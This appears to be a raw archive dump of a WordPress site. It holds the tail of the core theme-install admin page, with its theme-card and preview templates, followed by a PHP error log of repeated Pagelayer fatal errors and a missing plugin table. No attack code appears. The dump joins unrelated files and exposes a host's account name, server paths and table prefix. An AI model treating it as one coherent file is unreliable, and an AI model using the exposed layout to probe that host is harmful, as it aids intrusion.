The dynamic portion of the hook name, `$tab`, refers to the current * theme installation tab. * * Possible hook names include: * * - `install_themes_block-themes` * - `install_themes_dashboard` * - `install_themes_featured` * - `install_themes_new` * - `install_themes_search` * - `install_themes_updated` * - `install_themes_upload` * * @since 2.8.0 * @since 6.1.0 Added the `install_themes_block-themes` hook name. * * @param int $paged Number of the current page of results being viewed. */ do_action( "install_themes_{$tab}", $paged ); } ?> </div> <script id="tmpl-theme" type="text/template"> <# if ( data.screenshot_url ) { #> <div class="theme-screenshot"> <img src="{{ data.screenshot_url }}?ver={{ data.version }}" alt="" /> </div> <# } else { #> <div class="theme-screenshot blank"></div> <# } #> <# if ( data.installed ) { #> <?php wp_admin_notice( _x( 'Installed', 'theme' ), array( 'type' => 'success', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } #> <# if ( ! data.compatible_wp || ! data.compatible_php ) { #> <div class="notice notice-error notice-alt"><p> <# if ( ! data.compatible_wp && ! data.compatible_php ) { #> <?php _e( 'This theme does not work with your versions of WordPress and PHP.' ); if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) { printf( /* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */ ' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } ?> <# } else if ( ! data.compatible_wp ) { #> <?php _e( 'This theme does not work with your version of WordPress.' ); if ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.compatible_php ) { #> <?php _e( 'This theme does not work with your version of PHP.' ); if ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } ?> <# } #> </p></div> <# } #> <span class="more-details"><?php _ex( 'Details & Preview', 'theme' ); ?></span> <div class="theme-author"> <?php /* translators: %s: Theme author name. */ printf( __( 'By %s' ), '{{ data.author }}' ); ?> </div> <div class="theme-id-container"> <h3 class="theme-name">{{ data.name }}</h3> <div class="theme-actions"> <# if ( data.installed ) { #> <# if ( data.compatible_wp && data.compatible_php ) { #> <?php /* translators: %s: Theme name. */ $aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' ); ?> <# if ( data.activate_url ) { #> <# if ( ! data.active ) { #> <a class="button button-primary button-compact activate" href="{{ data.activate_url }}" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a> <# } else { #> <button class="button button-primary button-compact disabled"><?php _ex( 'Activated', 'theme' ); ?></button> <# } #> <# } #> <# if ( data.customize_url ) { #> <# if ( ! data.active ) { #> <# if ( ! data.block_theme ) { #> <a class="button button-compact load-customize" href="{{ data.customize_url }}"><?php _e( 'Live Preview' ); ?></a> <# } #> <# } else { #> <a class="button button-compact load-customize" href="{{ data.customize_url }}"><?php _e( 'Customize' ); ?></a> <# } #> <# } else { #> <button class="button button-compact preview install-theme-preview"><?php echo esc_html_x( 'Preview', 'verb' ); ?></button> <# } #> <# } else { #> <?php /* translators: %s: Theme name. */ $aria_label = sprintf( _x( 'Cannot Activate %s', 'theme' ), '{{ data.name }}' ); ?> <# if ( data.activate_url ) { #> <a class="button button-primary button-compact disabled" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _ex( 'Cannot Activate', 'theme' ); ?></a> <# } #> <# if ( data.customize_url ) { #> <a class="button button-compact disabled"><?php _e( 'Live Preview' ); ?></a> <# } else { #> <button class="button button-compact disabled"><?php echo esc_html_x( 'Preview', 'verb' ); ?></button> <# } #> <# } #> <# } else { #> <# if ( data.compatible_wp && data.compatible_php ) { #> <?php /* translators: %s: Theme name. */ $aria_label = sprintf( _x( 'Install %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-primary button-compact theme-install" data-name="{{ data.name }}" data-slug="{{ data.id }}" href="{{ data.install_url }}" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Install' ); ?></a> <button class="button button-compact preview install-theme-preview"><?php echo esc_html_x( 'Preview', 'verb' ); ?></button> <# } else { #> <?php /* translators: %s: Theme name. */ $aria_label = sprintf( _x( 'Cannot Install %s', 'theme' ), '{{ data.name }}' ); ?> <a class="button button-primary button-compact disabled" data-name="{{ data.name }}" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _ex( 'Cannot Install', 'theme' ); ?></a> <button class="button button-compact disabled"><?php echo esc_html_x( 'Preview', 'verb' ); ?></button> <# } #> <# } #> </div> </div> </script> <script id="tmpl-theme-preview" type="text/template"> <div class="wp-full-overlay-sidebar"> <div class="wp-full-overlay-header"> <button class="close-full-overlay"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e( 'Close' ); ?> </span></button> <button class="previous-theme"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e( 'Previous theme' ); ?> </span></button> <button class="next-theme"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e( 'Next theme' ); ?> </span></button> <# if ( data.installed ) { #> <# if ( data.compatible_wp && data.compatible_php ) { #> <?php /* translators: %s: Theme name. */ $aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' ); ?> <# if ( ! data.active ) { #> <a class="button button-primary activate" href="{{ data.activate_url }}" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a> <# } else { #> <button class="button button-primary disabled"><?php _ex( 'Activated', 'theme' ); ?></button> <# } #> <# } else { #> <a class="button button-primary disabled" ><?php _ex( 'Cannot Activate', 'theme' ); ?></a> <# } #> <# } else { #> <# if ( data.compatible_wp && data.compatible_php ) { #> <a href="{{ data.install_url }}" class="button button-primary theme-install" data-name="{{ data.name }}" data-slug="{{ data.id }}"><?php _e( 'Install' ); ?></a> <# } else { #> <a class="button button-primary disabled" ><?php _ex( 'Cannot Install', 'theme' ); ?></a> <# } #> <# } #> </div> <div class="wp-full-overlay-sidebar-content"> <div class="install-theme-info"> <h3 class="theme-name">{{ data.name }}</h3> <span class="theme-by"> <?php /* translators: %s: Theme author name. */ printf( __( 'By %s' ), '{{ data.author }}' ); ?> </span> <div class="theme-screenshot"> <img class="theme-screenshot" src="{{ data.screenshot_url }}?ver={{ data.version }}" alt="" /> </div> <div class="theme-details"> <# if ( data.rating ) { #> <div class="theme-rating"> {{{ data.stars }}} <a class="num-ratings" href="{{ data.reviews_url }}"> <?php /* translators: %s: Number of ratings. */ printf( __( '(%s ratings)' ), '{{ data.num_ratings }}' ); ?> </a> </div> <# } else { #> <span class="no-rating"><?php _e( 'This theme has not been rated yet.' ); ?></span> <# } #> <div class="theme-version"> <?php /* translators: %s: Theme version. */ printf( __( 'Version: %s' ), '{{ data.version }}' ); ?> </div> <# if ( ! data.compatible_wp || ! data.compatible_php ) { #> <div class="notice notice-error notice-alt notice-large"><p> <# if ( ! data.compatible_wp && ! data.compatible_php ) { #> <?php _e( 'This theme does not work with your versions of WordPress and PHP.' ); if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) { printf( /* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */ ' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } ?> <# } else if ( ! data.compatible_wp ) { #> <?php _e( 'This theme does not work with your version of WordPress.' ); if ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( '<a href="%s">Please update WordPress</a>.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.compatible_php ) { #> <?php _e( 'This theme does not work with your version of PHP.' ); if ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '</p><p><em>', '</em>' ); } ?> <# } #> </p></div> <# } #> <div class="theme-description">{{{ data.description }}}</div> </div> </div> </div> <div class="wp-full-overlay-footer"> <button type="button" class="collapse-sidebar button" aria-expanded="true" aria-label="<?php esc_attr_e( 'Collapse Sidebar' ); ?>"> <span class="collapse-sidebar-arrow" aria-hidden="true"></span> <span class="collapse-sidebar-label"><?php _e( 'Collapse' ); ?></span> </button> </div> </div> <div class="wp-full-overlay-main"> <iframe src="{{ data.preview_url }}" title="<?php echo esc_attr_x( 'Preview', 'noun' ); ?>"></iframe> </div> </script> <?php wp_print_request_filesystem_credentials_modal(); wp_print_admin_notice_templates(); require_once ABSPATH . 'wp-admin/admin-footer.php'; error_log 0000644 00003710357 15233246127 0006506 0 ustar 00 [18-Feb-2026 16:57:09 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_ea11y_page_scanned' doesn't exist for query SELECT * FROM wpuz_ea11y_page_scanned WHERE 1 ORDER BY created_at desc LIMIT 1000 made by wp_dashboard, do_meta_boxes, EA11y\Modules\Dashboard\Widgets\Ally_Dashboard_Widget::ally_widget_render, EA11y\Modules\Scanner\Classes\Utils::get_scanner_stats, EA11y\Modules\Remediation\Database\Page_Entry::get_pages, EA11y\Classes\Database\Table::select [18-Feb-2026 17:56:24 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 17:57:24 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 17:58:24 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 17:59:24 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 18:00:24 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 18:01:24 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 18:02:24 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 18:03:24 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 18:04:24 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 18:05:03 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 18:05:08 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 18:05:16 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 18:05:24 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 18:06:25 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "description" on null in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php:324 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): 